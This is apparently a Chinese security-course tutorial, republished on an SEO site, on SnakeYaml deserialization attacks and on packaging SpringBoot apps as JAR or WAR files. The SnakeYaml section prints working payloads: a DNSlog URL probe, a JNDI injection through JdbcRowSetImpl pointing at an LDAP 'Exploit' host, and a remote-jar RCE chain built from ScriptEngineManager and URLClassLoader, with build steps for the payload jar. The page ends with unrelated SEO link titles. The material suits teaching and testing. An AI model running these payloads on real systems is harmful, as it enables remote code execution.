当前位置: 首页 > wzjs >正文

做外卖骑手用哪个网站百度快照如何优化

做外卖骑手用哪个网站,百度快照如何优化,佛山市seo推广,酒店微信网站建设知识点: 1、安全开发-JavaEE-WAR&JAR打包&反编译 2、安全开发-JavaEE-SnakeYaml反序列化&链 一、演示案例-WEB开发-JavaEE-项目-SnakeYaml序列化 常见的创建的序列化和反序列化协议 • (已讲)JAVA内置的writeObject()/readObje…

知识点:
1、安全开发-JavaEE-WAR&JAR打包&反编译
2、安全开发-JavaEE-SnakeYaml反序列化&链

一、演示案例-WEB开发-JavaEE-项目-SnakeYaml序列化

常见的创建的序列化和反序列化协议
• (已讲)JAVA内置的writeObject()/readObject() 通用<==>Object
• JAVA内置的XMLDecoder()/XMLEncoder xml<==>Object
• (已讲)XStream xml<==>Object
• (已讲)SnakeYaml yaml<==>Object
• (已讲)FastJson json<==>Object
• Jackson json<==>Object
SnakeYaml反序列化
SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化:
Yaml.load():反序列化 将YAML格式的字符串或文件内容转换成Java对象;
Yaml.dump():序列化 将一个Java对象转化为yaml文件形式;
测试总结:load和loadas(dump)都调用了对应的set方法

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<dependency><groupId>org.yaml</groupId><artifactId>snakeyaml</artifactId><version>1.32</version>
</dependency>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
参考:https://www.cnblogs.com/F12-blog/p/18151239

1、URL链(JAVA自带链)

!!java.net.URL ["http://5dsff0.dnslog.cn/"]: 1
// java.net.URL这是JAVA自带的类

在这里插入图片描述
在这里插入图片描述

2、JNDI注入

!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:1389/Exploit"
autoCommit: true
//com.sun.rowset.JdbcRowSetImpl是java自带类

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、RCE(自带链+利用SPI机制)

在这里插入图片描述
https://github.com/artsploit/yaml-payload/
在这里插入图片描述

编译项目源码(把该项目打包成一个jar)-命令编译

javac AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

编译项目源码(把该项目打包成一个jar)-项目编译

项目结构-工件-添加-yaml-payload-添加模块输出-构建工件
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

python -m http.server 9999

在这里插入图片描述

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB开发-JavaEE-SpringBoot-打包部署-JAR&WAR

参考:https://mp.weixin.qq.com/s/HyqVt7EMFcuKXfiejtfleg
在这里插入图片描述

SpringBoot项目打包在各类系统服务器中运行:
①jar类型项目
jar类型项目使用SpringBoot打包插件打包时,会在打成的jar中内置tomcat的jar。所以使用jdk直接运行jar即可,jar项目中功能将代码放到其内置的tomcat中运行。
②war类型项目
在打包时需要将内置的tomcat插件排除,配置servlet的依赖和修改pom.xml,然后将war文件放到tomcat安装目录webapps下,启动运行tomcat自动解析即可。

Jar打包

报错解决:
https://blog.csdn.net/Mrzhuangr/article/details/124731024
https://blog.csdn.net/wobenqingfeng/article/details/129914639

1、maven-clean-package

在这里插入图片描述
在这里插入图片描述

2、java -jar xxxxxx.jar

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

War打包

1、pom.xml加入或修改

<packaging>war</packaging>

在这里插入图片描述

2、启动类里面加入配置

public class TestSwaggerDemoApplication extends SpringBootServletInitializer
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(TestSwaggerDemoApplication.class);
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、maven-clean-package

在这里插入图片描述
在这里插入图片描述

4、war放置tomcat后启动

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

安全:JAVAEE源码架构

无源码下载泄漏风险,JAR泄漏也需反编译(jar文件反编译)
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
不是所有的jar包都能反编译,有些jar包会用到混肴技术(类似APP加壳)

http://www.dtcms.com/wzjs/255567.html

相关文章:

  • 12380网站建设情况的报告搜索大全
  • 做推广网站公司提供seo顾问服务适合的对象是
  • 靖江网站制作多少钱百度双十一活动
  • 网站建设创意广告词百度竞价产品
  • python做网站有什么弊端百度地图收录提交入口
  • 电子商务工资多少钱一个月seo关键词排名优化怎样
  • 网上哪里给公司做网站线上推广
  • 来年做哪个网站致富火蝠电商代运营公司
  • 搭建一个电商网站需要多少费用合肥疫情最新消息
  • 建设部网站官网证书查询百度seo推广计划类型包括
  • 班级网站源代码下载看b站二十四小时直播间
  • 广州番禺专业做网站西安seo网站排名
  • wordpress采集前端发文河南seo快速排名
  • 有什么样的网站开发外贸建站推广哪家好
  • 怎样用阿里云服务器做网站深圳华强北最新消息
  • 长治哪家公司做网站好seo优化推广流程
  • 服装做外贸的网站建设百度链接提交收录入口
  • IBM 做网站网络推广有前途吗
  • 上海网站建设的百度统计代码安装位置
  • 化工网站建设公司成都网站建设技术支持
  • 外国人可以在中国做网站吗推广普通话内容
  • 网站的开发与建设项目新网站怎么快速收录
  • 刷leetcode对网站开发有用吗石嘴山网站seo
  • 个人域名可以做KTV网站吗深圳seo优化
  • 成都企业做网站网络营销有哪些推广方式
  • 住房和建设部网站网站快速收录教程
  • wordpress怎么二次开湖北百度seo
  • seo投放营销青岛网站seo诊断
  • 机构网站建设需要交费吗武汉seo网站推广
  • 荆州seo技术厂家谷歌优化